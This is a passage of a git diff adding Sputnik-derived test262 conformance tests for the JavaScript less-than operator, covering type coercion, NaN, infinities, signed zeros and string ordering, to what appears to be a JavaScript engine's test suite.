+ * If Type(Primitive(x)) is not String or Type(Primitive(y)) is not String, then operator x < y returns ToNumber(x) < ToNumber(y)
+ *
+ * @path ch11/11.8/11.8.1/S11.8.1_A3.1_T2.2.js
+ * @description Type(Primitive(x)) is different from Type(Primitive(y)) and both types vary between Number (primitive or object) and String (primitive and object)
+ */
+
+//CHECK#1
+if ("1" < 1 !== false) {
+ $ERROR('#1: "1" < 1 === false');
+}
+
+//CHECK#2
+if (1 < "1" !== false) {
+ $ERROR('#2: 1 < "1" === false');
+}
+
+//CHECK#3
+if (new String("1") < 1 !== false) {
+ $ERROR('#3: new String("1") < 1 === false');
+}
+
+//CHECK#4
+if (1 < new String("1") !== false) {
+ $ERROR('#4: 1 < new String("1") === false');
+}
+
+//CHECK#5
+if ("1" < new Number(1) !== false) {
+ $ERROR('#5: "1" < new Number(1) === false');
+}
+
+//CHECK#6
+if (new Number(1) < "1" !== false) {
+ $ERROR('#6: new Number(1) < "1" === false');
+}
+
+//CHECK#7
+if (new String("1") < new Number(1) !== false) {
+ $ERROR('#7: new String("1") < new Number(1) === false');
+}
+
+//CHECK#8
+if (new Number(1) < new String("1") !== false) {
+ $ERROR('#8: new Number(1) < new String("1") === false');
+}
+
+//CHECK#9
+if ("x" < 1 !== false) {
+ $ERROR('#9: "x" < 1 === false');
+}
+
+//CHECK#10
+if (1 < "x" !== false) {
+ $ERROR('#10: 1 < "x" === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A3.1_T2.3.js b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A3.1_T2.3.js
new file mode 100644
index 000000000..32d4fa5fa
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A3.1_T2.3.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is not String or Type(Primitive(y)) is not String, then operator x < y returns ToNumber(x) < ToNumber(y)
+ *
+ * @path ch11/11.8/11.8.1/S11.8.1_A3.1_T2.3.js
+ * @description Type(Primitive(x)) is different from Type(Primitive(y)) and both types vary between Number (primitive or object) and Null
+ */
+
+//CHECK#1
+if (1 < null !== false) {
+ $ERROR('#1: 1 < null === false');
+}
+
+//CHECK#2
+if (null < 1 !== true) {
+ $ERROR('#2: null < 1 === true');
+}
+
+//CHECK#3
+if (new Number(1) < null !== false) {
+ $ERROR('#3: new Number(1) < null === false');
+}
+
+//CHECK#4
+if (null < new Number(1) !== true) {
+ $ERROR('#4: null < new Number(1) === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A3.1_T2.4.js b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A3.1_T2.4.js
new file mode 100644
index 000000000..19ce587cb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A3.1_T2.4.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is not String or Type(Primitive(y)) is not String, then operator x < y returns ToNumber(x) < ToNumber(y)
+ *
+ * @path ch11/11.8/11.8.1/S11.8.1_A3.1_T2.4.js
+ * @description Type(Primitive(x)) is different from Type(Primitive(y)) and both types vary between Number (primitive or object) and Undefined
+ */
+
+//CHECK#1
+if (1 < undefined !== false) {
+ $ERROR('#1: 1 < undefined === false');
+}
+
+//CHECK#2
+if (undefined < 1 !== false) {
+ $ERROR('#2: undefined < 1 === false');
+}
+
+//CHECK#3
+if (new Number(1) < undefined !== false) {
+ $ERROR('#3: new Number(1) < undefined === false');
+}
+
+//CHECK#4
+if (undefined < new Number(1) !== false) {
+ $ERROR('#4: undefined < new Number(1) === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A3.1_T2.5.js b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A3.1_T2.5.js
new file mode 100644
index 000000000..2ec157c85
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A3.1_T2.5.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is not String or Type(Primitive(y)) is not String, then operator x < y returns ToNumber(x) < ToNumber(y)
+ *
+ * @path ch11/11.8/11.8.1/S11.8.1_A3.1_T2.5.js
+ * @description Type(Primitive(x)) is different from Type(Primitive(y)) and both types vary between String (primitive or object) and Boolean (primitive and object)
+ */
+
+//CHECK#1
+if (true < "1" !== false) {
+ $ERROR('#1: true < "1" === false');
+}
+
+//CHECK#2
+if ("1" < true !== false) {
+ $ERROR('#2: "1" < true === false');
+}
+
+//CHECK#3
+if (new Boolean(true) < "1" !== false) {
+ $ERROR('#3: new Boolean(true) < "1" === false');
+}
+
+//CHECK#4
+if ("1" < new Boolean(true) !== false) {
+ $ERROR('#4: "1" < new Boolean(true) === false');
+}
+
+//CHECK#5
+if (true < new String("1") !== false) {
+ $ERROR('#5: true < new String("1") === false');
+}
+
+//CHECK#6
+if (new String("1") < true !== false) {
+ $ERROR('#6: new String("1") < true === false');
+}
+
+//CHECK#7
+if (new Boolean(true) < new String("1") !== false) {
+ $ERROR('#7: new Boolean(true) < new String("1") === false');
+}
+
+//CHECK#8
+if (new String("1") < new Boolean(true) !== false) {
+ $ERROR('#8: new String("1") < new Boolean(true) === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A3.1_T2.6.js b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A3.1_T2.6.js
new file mode 100644
index 000000000..de4ef0016
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A3.1_T2.6.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is not String or Type(Primitive(y)) is not String, then operator x < y returns ToNumber(x) < ToNumber(y)
+ *
+ * @path ch11/11.8/11.8.1/S11.8.1_A3.1_T2.6.js
+ * @description Type(Primitive(x)) is different from Type(Primitive(y)) and both types vary between String (primitive or object) and Undefined
+ */
+
+//CHECK#1
+if ("1" < undefined !== false) {
+ $ERROR('#1: "1" < undefined === false');
+}
+
+//CHECK#2
+if (undefined < "1" !== false) {
+ $ERROR('#2: undefined < "1" === false');
+}
+
+//CHECK#3
+if (new String("1") < undefined !== false) {
+ $ERROR('#3: new String("1") < undefined === false');
+}
+
+//CHECK#4
+if (undefined < new String("1") !== false) {
+ $ERROR('#4: undefined < new String("1") === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A3.1_T2.7.js b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A3.1_T2.7.js
new file mode 100644
index 000000000..97e9c8fdd
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A3.1_T2.7.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is not String or Type(Primitive(y)) is not String, then operator x < y returns ToNumber(x) < ToNumber(y)
+ *
+ * @path ch11/11.8/11.8.1/S11.8.1_A3.1_T2.7.js
+ * @description Type(Primitive(x)) is different from Type(Primitive(y)) and both types vary between String (primitive or object) and Null
+ */
+
+//CHECK#1
+if ("1" < null !== false) {
+ $ERROR('#1: "1" < null === false');
+}
+
+//CHECK#2
+if (null < "1" !== true) {
+ $ERROR('#2: null < "1" === true');
+}
+
+//CHECK#3
+if (new String("1") < null !== false) {
+ $ERROR('#3: new String("1") < null === false');
+}
+
+//CHECK#4
+if (null < new String("1") !== true) {
+ $ERROR('#4: null < new String("1") === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A3.1_T2.8.js b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A3.1_T2.8.js
new file mode 100644
index 000000000..dcd5dfef8
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A3.1_T2.8.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is not String or Type(Primitive(y)) is not String, then operator x < y returns ToNumber(x) < ToNumber(y)
+ *
+ * @path ch11/11.8/11.8.1/S11.8.1_A3.1_T2.8.js
+ * @description Type(Primitive(x)) is different from Type(Primitive(y)) and both types vary between Boolean (primitive or object) and Undefined
+ */
+
+//CHECK#1
+if (true < undefined !== false) {
+ $ERROR('#1: true < undefined === false');
+}
+
+//CHECK#2
+if (undefined < true !== false) {
+ $ERROR('#2: undefined < true === false');
+}
+
+//CHECK#3
+if (new Boolean(true) < undefined !== false) {
+ $ERROR('#3: new Boolean(true) < undefined === false');
+}
+
+//CHECK#4
+if (undefined < new Boolean(true) !== false) {
+ $ERROR('#4: undefined < new Boolean(true) === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A3.1_T2.9.js b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A3.1_T2.9.js
new file mode 100644
index 000000000..3e47b7d07
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A3.1_T2.9.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is not String or Type(Primitive(y)) is not String, then operator x < y returns ToNumber(x) < ToNumber(y)
+ *
+ * @path ch11/11.8/11.8.1/S11.8.1_A3.1_T2.9.js
+ * @description Type(Primitive(x)) is different from Type(Primitive(y)) and both types vary between Boolean (primitive or object) and Null
+ */
+
+//CHECK#1
+if (true < null !== false) {
+ $ERROR('#1: true < null === false');
+}
+
+//CHECK#2
+if (null < true !== true) {
+ $ERROR('#2: null < true === true');
+}
+
+//CHECK#3
+if (new Boolean(true) < null !== false) {
+ $ERROR('#3: new Boolean(true) < null === false');
+}
+
+//CHECK#4
+if (null < new Boolean(true) !== true) {
+ $ERROR('#4: null < new Boolean(true) === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A3.2_T1.1.js b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A3.2_T1.1.js
new file mode 100644
index 000000000..9e1cb7811
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A3.2_T1.1.js
@@ -0,0 +1,40 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x < y returns ToString(x) < ToString(y), if Type(Primitive(x)) is String and Type(Primitive(y)) is String
+ *
+ * @path ch11/11.8/11.8.1/S11.8.1_A3.2_T1.1.js
+ * @description Type(Primitive(x)) and Type(Primitive(y)) vary between primitive string and String object
+ */
+
+//CHECK#1
+if ("1" < "1" !== false) {
+ $ERROR('#1: "1" < "1" === false');
+}
+
+//CHECK#2
+if (new String("1") < "1" !== false) {
+ $ERROR('#2: new String("1") < "1" === false');
+}
+
+//CHECK#3
+if ("1" < new String("1") !== false) {
+ $ERROR('#3: "1" < new String("1") === false');
+}
+
+//CHECK#4
+if (new String("1") < new String("1") !== false) {
+ $ERROR('#4: new String("1") < new String("1") === false');
+}
+
+//CHECK#5
+if ("x" < "1" !== false) {
+ $ERROR('#5: "x" < "1" === false');
+}
+
+//CHECK#6
+if ("1" < "x" !== true) {
+ $ERROR('#6: "1" < "x" === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A3.2_T1.2.js b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A3.2_T1.2.js
new file mode 100644
index 000000000..47068903b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A3.2_T1.2.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x < y returns ToString(x) < ToString(y), if Type(Primitive(x)) is String and Type(Primitive(y)) is String
+ *
+ * @path ch11/11.8/11.8.1/S11.8.1_A3.2_T1.2.js
+ * @description Type(Primitive(x)) and Type(Primitive(y)) vary between Object object and Function object
+ */
+
+//CHECK#1
+if (({} < function(){return 1}) !== ({}.toString() < function(){return 1}.toString())) {
+ $ERROR('#1: ({} < function(){return 1}) === ({}.toString() < function(){return 1}.toString())');
+}
+
+//CHECK#2
+if ((function(){return 1} < {}) !== (function(){return 1}.toString() < {}.toString())) {
+ $ERROR('#2: (function(){return 1} < {}) === (function(){return 1}.toString() < {}.toString())');
+}
+
+//CHECK#3
+if ((function(){return 1} < function(){return 1}) !== (function(){return 1}.toString() < function(){return 1}.toString())) {
+ $ERROR('#3: (function(){return 1} < function(){return 1}) === (function(){return 1}.toString() < function(){return 1}.toString())');
+}
+
+//CHECK#4
+if (({} < {}) !== ({}.toString() < {}.toString())) {
+ $ERROR('#4: ({} < {}) === ({}.toString() < {}.toString())');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A4.1.js b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A4.1.js
new file mode 100644
index 000000000..5dee6e657
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A4.1.js
@@ -0,0 +1,51 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If x is NaN, return false (if result in 11.8.5 is undefined, return false)
+ *
+ * @path ch11/11.8/11.8.1/S11.8.1_A4.1.js
+ * @description y is number primitive
+ */
+
+//CHECK#1
+if ((Number.NaN < 0) !== false) {
+ $ERROR('#1: (NaN < 0) === false');
+}
+
+//CHECK#2
+if ((Number.NaN < 1.1) !== false) {
+ $ERROR('#2: (NaN < 1.1) === false');
+}
+
+//CHECK#3
+if ((Number.NaN < -1.1) !== false) {
+ $ERROR('#3: (NaN < -1.1) === false');
+}
+
+//CHECK#4
+if ((Number.NaN < Number.NaN) !== false) {
+ $ERROR('#4: (NaN < NaN) === false');
+}
+
+//CHECK#5
+if ((Number.NaN < Number.POSITIVE_INFINITY) !== false) {
+ $ERROR('#5: (NaN < +Infinity) === false');
+}
+
+//CHECK#6
+if ((Number.NaN < Number.NEGATIVE_INFINITY) !== false) {
+ $ERROR('#6: (NaN < -Infinity) === false');
+}
+
+//CHECK#7
+if ((Number.NaN < Number.MAX_VALUE) !== false) {
+ $ERROR('#7: (NaN < Number.MAX_VALUE) === false');
+}
+
+//CHECK#8
+if ((Number.NaN < Number.MIN_VALUE) !== false) {
+ $ERROR('#8: (NaN < Number.MIN_VALUE) === false');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A4.10.js b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A4.10.js
new file mode 100644
index 000000000..2caacdc42
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A4.10.js
@@ -0,0 +1,42 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If y is a prefix of x, return false
+ *
+ * @path ch11/11.8/11.8.1/S11.8.1_A4.10.js
+ * @description x and y are string primitives
+ */
+
+//CHECK#1
+if (("x" < "x") !== false) {
+ $ERROR('#1: ("x" < "x") === false');
+}
+
+//CHECK#2
+if (("x" < "") !== false) {
+ $ERROR('#2: ("x" < "") === false');
+}
+
+//CHECK#3
+if (("abcd" < "ab") !== false) {
+ $ERROR('#3: ("abcd" < ab") === false');
+}
+
+//CHECK#4
+if (("abc\u0064" < "abcd") !== false) {
+ $ERROR('#4: ("abc\\u0064" < abcd") === false');
+}
+
+//CHECK#5
+if (("x" + "y" < "x") !== false) {
+ $ERROR('#5: ("x" + "y" < "x") === false');
+}
+
+//CHECK#6
+var x = "x";
+if ((x + "y" < x) !== false) {
+ $ERROR('#6: var x = "x"; (x + "y" < x) === false');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A4.11.js b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A4.11.js
new file mode 100644
index 000000000..2c87da030
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A4.11.js
@@ -0,0 +1,53 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If x is a prefix of y and x !== y, return true
+ *
+ * @path ch11/11.8/11.8.1/S11.8.1_A4.11.js
+ * @description x and y are string primitives
+ */
+
+//CHECK#1
+if (("x" < "x ") !== true) {
+ $ERROR('#1: ("x" < "x ") === true');
+}
+
+//CHECK#2
+if (("" < "x") !== true) {
+ $ERROR('#2: ("" < "x") === true');
+}
+
+//CHECK#3
+if (("ab" < "abcd") !== true) {
+ $ERROR('#3: ("ab" < abcd") === true');
+}
+
+//CHECK#4
+if (("abcd" < "abc\u0064") !== false) {
+ $ERROR('#4: ("abcd" < abc\\u0064") === false');
+}
+
+//CHECK#5
+if (("x" < "x" + "y") !== true) {
+ $ERROR('#5: ("x" < "x" + "y") === true');
+}
+
+//CHECK#6
+var x = "x";
+if ((x < x + "y") !== true) {
+ $ERROR('#6: var x = "x"; (x < x + "y") === true');
+}
+
+//CHECK#7
+if (("a\u0000" < "a\u0000a") !== true) {
+ $ERROR('#7: ("a\\u0000" < "a\\u0000a") === true');
+}
+
+//CHECK#8
+if (("x" < " x") !== false) {
+ $ERROR('#8: ("x" < " x") === false');
+}
+
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A4.12_T1.js b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A4.12_T1.js
new file mode 100644
index 000000000..b8f0eb78d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A4.12_T1.js
@@ -0,0 +1,45 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If neither x, nor y is a prefix of each other, returned result of strings comparison applies a simple lexicographic ordering to the sequences of code point value values
+ *
+ * @path ch11/11.8/11.8.1/S11.8.1_A4.12_T1.js
+ * @description x and y are string primitives
+ */
+
+//CHECK#1
+if (("xx" < "xy") !== true) {
+ $ERROR('#1: ("xx" < "xy") === true');
+}
+
+//CHECK#2
+if (("xy" < "xx") !== false) {
+ $ERROR('#2: ("xy" < "xx") === false');
+}
+
+//CHECK#3
+if (("x" < "y") !== true) {
+ $ERROR('#3: ("x" < y") === true');
+}
+
+//CHECK#4
+if (("aab" < "aba") !== true) {
+ $ERROR('#4: ("aab" < aba") === true');
+}
+
+//CHECK#5
+if (("\u0061\u0061\u0061\u0062" < "\u0061\u0061\u0061\u0061") !== false) {
+ $ERROR('#5: ("\\u0061\\u0061\\u0061\\u0062" < \\u0061\\u0061\\u0061\\u0061") === false');
+}
+
+//CHECK#6
+if (("a\u0000a" < "a\u0000b") !== true) {
+ $ERROR('#6: ("a\\u0000a" < "a\\u0000b") === true');
+}
+
+//CHECK#7
+if (("aB" < "aa") !== true) {
+ $ERROR('#7: ("aB" < aa") === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A4.12_T2.js b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A4.12_T2.js
new file mode 100644
index 000000000..0b0e2d5fb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A4.12_T2.js
@@ -0,0 +1,45 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If neither x, nor y is a prefix of each other, returned result of strings comparison applies a simple lexicographic ordering to the sequences of code point value values
+ *
+ * @path ch11/11.8/11.8.1/S11.8.1_A4.12_T2.js
+ * @description x and y are string primitives
+ */
+
+//CHECK#1
+if (("0" < "x") !== true) {
+ $ERROR('#1: ("0" < "x") !== true');
+}
+
+//CHECK#2
+if (("-" < "0") !== true) {
+ $ERROR('#2: ("-" < "0") !== true');
+}
+
+//CHECK#3
+if (("." < "0") !== true) {
+ $ERROR('#3: ("." < "0") !== true');
+}
+
+//CHECK#4
+if (("+" < "-") !== true) {
+ $ERROR('#4: ("+" < "-") !== true');
+}
+
+//CHECK#5
+if (("-0" < "-1") !== true) {
+ $ERROR('#5: ("-0" < "-1") !== true');
+}
+
+//CHECK#6
+if (("+1" < "-1") !== true) {
+ $ERROR('#6: ("+1" < "-1") !== true');
+}
+
+//CHECK#7
+if (("1" < "1e-10") !== true) {
+$ERROR('#7: ("1" < "1e-10") !== true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A4.2.js b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A4.2.js
new file mode 100644
index 000000000..2ab4adeb4
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A4.2.js
@@ -0,0 +1,51 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If y is NaN, return false (if result in 11.8.5 is undefined, return false)
+ *
+ * @path ch11/11.8/11.8.1/S11.8.1_A4.2.js
+ * @description x is number primitive
+ */
+
+//CHECK#1
+if ((0 < Number.NaN) !== false) {
+ $ERROR('#1: (0 < NaN) === false');
+}
+
+//CHECK#2
+if ((1.1 < Number.NaN) !== false) {
+ $ERROR('#2: (1.1 < NaN) === false');
+}
+
+//CHECK#3
+if ((-1.1 < Number.NaN) !== false) {
+ $ERROR('#3: (-1.1 < NaN) === false');
+}
+
+//CHECK#4
+if ((Number.NaN < Number.NaN) !== false) {
+ $ERROR('#4: (NaN < NaN) === false');
+}
+
+//CHECK#5
+if ((Number.POSITIVE_INFINITY < Number.NaN) !== false) {
+ $ERROR('#5: (+Infinity < NaN) === false');
+}
+
+//CHECK#6
+if ((Number.NEGATIVE_INFINITY < Number.NaN) !== false) {
+ $ERROR('#6: (-Infinity < NaN) === false');
+}
+
+//CHECK#7
+if ((Number.MAX_VALUE < Number.NaN) !== false) {
+ $ERROR('#7: (Number.MAX_VALUE < NaN) === false');
+}
+
+//CHECK#8
+if ((Number.MIN_VALUE < Number.NaN) !== false) {
+ $ERROR('#8: (Number.MIN_VALUE < NaN) === false');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A4.3.js b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A4.3.js
new file mode 100644
index 000000000..1fa8a4988
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A4.3.js
@@ -0,0 +1,47 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If x and y are the same number value, return false
+ *
+ * @path ch11/11.8/11.8.1/S11.8.1_A4.3.js
+ * @description x and y are number primitives
+ */
+
+//CHECK#1
+if ((1 < 1) !== false) {
+ $ERROR('#1: (1 < 1) === false');
+}
+
+//CHECK#2
+if ((1.1 < 1.1) !== false) {
+ $ERROR('#2: (1.1 < 1.1) === false');
+}
+
+//CHECK#3
+if ((-1.1 < -1.1) !== false) {
+ $ERROR('#3: (-1.1 < -1.1) === false');
+}
+
+//CHECK#4
+if ((Number.NEGATIVE_INFINITY < Number.NEGATIVE_INFINITY) !== false) {
+ $ERROR('#4: (-Infinity < -Infinity) === false');
+}
+
+//CHECK#5
+if ((Number.POSITIVE_INFINITY < Number.POSITIVE_INFINITY) !== false) {
+ $ERROR('#5: (+Infinity < +Infinity) === false');
+}
+
+//CHECK#6
+if ((Number.MAX_VALUE < Number.MAX_VALUE) !== false) {
+ $ERROR('#6: (Number.MAX_VALUE < Number.MAX_VALUE) === false');
+}
+
+//CHECK#7
+if ((Number.MIN_VALUE < Number.MIN_VALUE) !== false) {
+ $ERROR('#7: (Number.MIN_VALUE < Number.MIN_VALUE) === false');
+}
+
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A4.4.js b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A4.4.js
new file mode 100644
index 000000000..d04541e42
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A4.4.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If x and y are +0 and -0, return false
+ *
+ * @path ch11/11.8/11.8.1/S11.8.1_A4.4.js
+ * @description Checking all combinations
+ */
+
+//CHECK#1
+if ((0 < 0) !== false) {
+ $ERROR('#1: (0 < 0) === false');
+}
+
+//CHECK#2
+if ((-0 < -0) !== false) {
+ $ERROR('#2: (-0 < -0) === false');
+}
+
+//CHECK#3
+if ((+0 < -0) !== false) {
+ $ERROR('#3: (+0 < -0) === false');
+}
+
+//CHECK#4
+if ((-0 < +0) !== false) {
+ $ERROR('#4: (-0 < +0) === false');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A4.5.js b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A4.5.js
new file mode 100644
index 000000000..d874e0fde
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A4.5.js
@@ -0,0 +1,41 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If x is +Infinity, return false
+ *
+ * @path ch11/11.8/11.8.1/S11.8.1_A4.5.js
+ * @description y is number primitive
+ */
+
+//CHECK#1
+if ((Number.POSITIVE_INFINITY < 0) !== false) {
+ $ERROR('#1: (+Infinity < 0) === false');
+}
+
+//CHECK#2
+if ((Number.POSITIVE_INFINITY < 1.1) !== false) {
+ $ERROR('#2: (+Infinity < 1.1) === false');
+}
+
+//CHECK#3
+if ((Number.POSITIVE_INFINITY < -1.1) !== false) {
+ $ERROR('#3: (+Infinity < -1.1) === false');
+}
+
+//CHECK#4
+if ((Number.POSITIVE_INFINITY < Number.NEGATIVE_INFINITY) !== false) {
+ $ERROR('#4: (+Infinity < -Infinity) === false');
+}
+
+//CHECK#5
+if ((Number.POSITIVE_INFINITY < Number.MAX_VALUE) !== false) {
+ $ERROR('#5: (+Infinity < Number.MAX_VALUE) === false');
+}
+
+//CHECK#6
+if ((Number.POSITIVE_INFINITY < Number.MIN_VALUE) !== false) {
+ $ERROR('#6: (+Infinity < Number.MIN_VALUE) === false');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A4.6.js b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A4.6.js
new file mode 100644
index 000000000..2dce0a45a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A4.6.js
@@ -0,0 +1,41 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If y is +Infinity and x !== y, return true
+ *
+ * @path ch11/11.8/11.8.1/S11.8.1_A4.6.js
+ * @description x is number primitive
+ */
+
+//CHECK#1
+if ((0 < Number.POSITIVE_INFINITY) !== true) {
+ $ERROR('#1: (0 < +Infinity) === true');
+}
+
+//CHECK#2
+if ((1.1 < Number.POSITIVE_INFINITY) !== true) {
+ $ERROR('#2: (1.1 < +Infinity) === true');
+}
+
+//CHECK#3
+if ((-1.1 < Number.POSITIVE_INFINITY) !== true) {
+ $ERROR('#3: (-1.1 < +Infinity) === true');
+}
+
+//CHECK#4
+if ((Number.NEGATIVE_INFINITY < Number.POSITIVE_INFINITY) !== true) {
+ $ERROR('#4: (-Infinity < +Infinity) === true');
+}
+
+//CHECK#5
+if ((Number.MAX_VALUE < Number.POSITIVE_INFINITY) !== true) {
+ $ERROR('#5: (Number.MAX_VALUE < +Infinity) === true');
+}
+
+//CHECK#6
+if ((Number.MIN_VALUE < Number.POSITIVE_INFINITY) !== true) {
+ $ERROR('#6: (Number.MIN_VALUE < +Infinity) === true');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A4.7.js b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A4.7.js
new file mode 100644
index 000000000..a54ec57be
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.1/S11.8.1_A4.7.js
@@ -0,0 +1,41 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If x is -Infinity and x !== y, return true
+ *
+ * @path ch11/11.8/11.8.1/S11.8.1_A4.7.js
+ * @description y is number primitive
+ */
+
+//CHECK#1
+if ((Number.NEGATIVE_INFINITY < 0) !== true) {
+ $ERROR('#1: (-Infinity < 0) === true');
+}
+
+//CHECK#2
+if ((Number.NEGATIVE_INFINITY < 1.1) !== true) {
+ $ERROR('#2: (-Infinity < 1.1) === true');
+}
+
+//CHECK#3
+if ((Number.NEGATIVE_INFINITY < -1.1) !== true) {
+ $ERROR('#3: (-Infinity < -1.1) === true');
+}
+
+//CHECK#4
+if ((Number.NEGATIVE_INFINITY < Number.POSITIVE_INFINITY) !== true) {
+ $ERROR('#4: (-Infinity < +Infinity) === true');
+}
+
+//CHECK#5
